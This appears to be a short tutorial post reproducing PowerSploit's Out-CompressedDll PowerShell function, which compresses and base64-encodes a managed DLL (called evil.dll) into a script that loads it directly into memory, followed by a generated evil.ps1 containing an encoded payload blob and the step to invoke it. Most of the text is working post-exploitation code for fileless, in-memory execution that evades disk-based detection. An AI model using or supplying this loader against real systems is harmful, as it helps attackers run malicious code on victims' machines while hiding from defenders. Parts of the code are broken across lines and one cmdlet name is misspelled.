



# DLL Self Contained in PowerShell



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it is possible to load an executable as array of bytes through .NET framework . which could be done if we placed with accurate size of placed dll .

## alleviate the required size

Powershell function script will load dll file , compress it , encode it as base64 , so the generate code output we could use it to execute Pure MSIL DLL inside the memory

```
function Out-CompressedDll
{
<#
.SYNOPSIS
Compresses, Base-64 encodes, and outputs generated code to load a managed dll
in memory.
PowerSploit Function: Out-CompressedDll
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Required Dependencies: None
Optional Dependencies: None

.DESCRPTION
Out-CompressedDll outputs code that loads a compressed representation of a
managed dll in memory as a byte array.
.PARAMETER FilePath
Specifies the path to a managed executable.
.EXAMPLE
C:\PS> Out-CompressedDll -FilePath evil.dll
Description
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Compresses, base64 encodes, and outputs the code required to load evil.dll in
memory.
.NOTES
Only pure MSIL-based dlls can be loaded using this technique. Native or IJW
('it just works' - mixed-mode) dlls will not load.
.LINK
http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html
#>

    [CmdletBinding()] Param (
        [Parameter(Mandatory = $True)]
        [String]
        $FilePath
    )

    $Path = Resolve-Path $FilePath
```

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if (![IO.File]::Exists($Path))
{
    Throw "$Path does not exist."
}

$FileBytes = [System.IO.File]::ReadAllBytes($Path)

if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ')
{
    Throw "$Path is not a valid executable."
}

$Length = $FileBytes.Length
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream
($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($FileBytes, 0, $FileBytes.Length)
$DeflateStream.Dispose()
$CompressedFileBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedFile = [Convert]::ToBase64String($CompressedFileBytes)

Write-Verbose "Compression ratio:
$((($EncodedCompressedFile.Length/$FileBytes.Length).ToString('#%')))"

$output = @"
`$EncodedCompressedFile = @'
$EncodedCompressedFile
'@
`$DeflatedStream = New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`$E
ncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
`$UncompressedFileBytes = New-Object Byte[]($Length)
`$DeflatedStream.Read(`$UncompressedFileBytes, 0, $Length) | Out-Null
[Reflection.Assembly]::Load(`$UncompressedFileBytes)
"@

Write-Output $Output
}

```

## Generate the DLL Code

```
PS> Out-Compressed file.dll |Out-File evil.ps1
```

after execution of previous script function , a file called evil.ps1 with compressed encoded self contained dll inside the script is Generate as

```
$EncodedCompressedFile = '@'
7VXPbxtFFP527aZ0Sq2UoJIKqaxxKkUFLUaxVBChuIndNCg/rNgNCIGatbNxFta71u64xEigXkBw4
1QhwQFxr+KARFXEH8Ch/wFI5cYBqVfEgfSb2fWP2BbtiQqpz5n35r158+Z7b99M1t/+AgkASY7DQ+
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W7w9ELGDt1DEWBZV7M3Y7sSxu9i8fz0jr/Ioc69Pa5v5ipFshnN5We25RI9Q3ekaY3WI5EH7HtN/S
Eb0f7i88KiBPKZHQfcb
'@
$DeflatedStream = New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($En
codedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](3072)
$DeflatedStream.Read($UncompressedFileBytes, 0, 3072) | Out-Null
[Reflection.Assembly]::Load($UncompressedFileBytes)
```

so final step is to add [Test]::DoStuff() . and then the execution will be placed in our memory .

## Reference

PowerShellMafia/PowerSploit PowerSploit - A PowerShell Post-Exploitation Framework -  
PowerShellMafia/PowerSploit github.com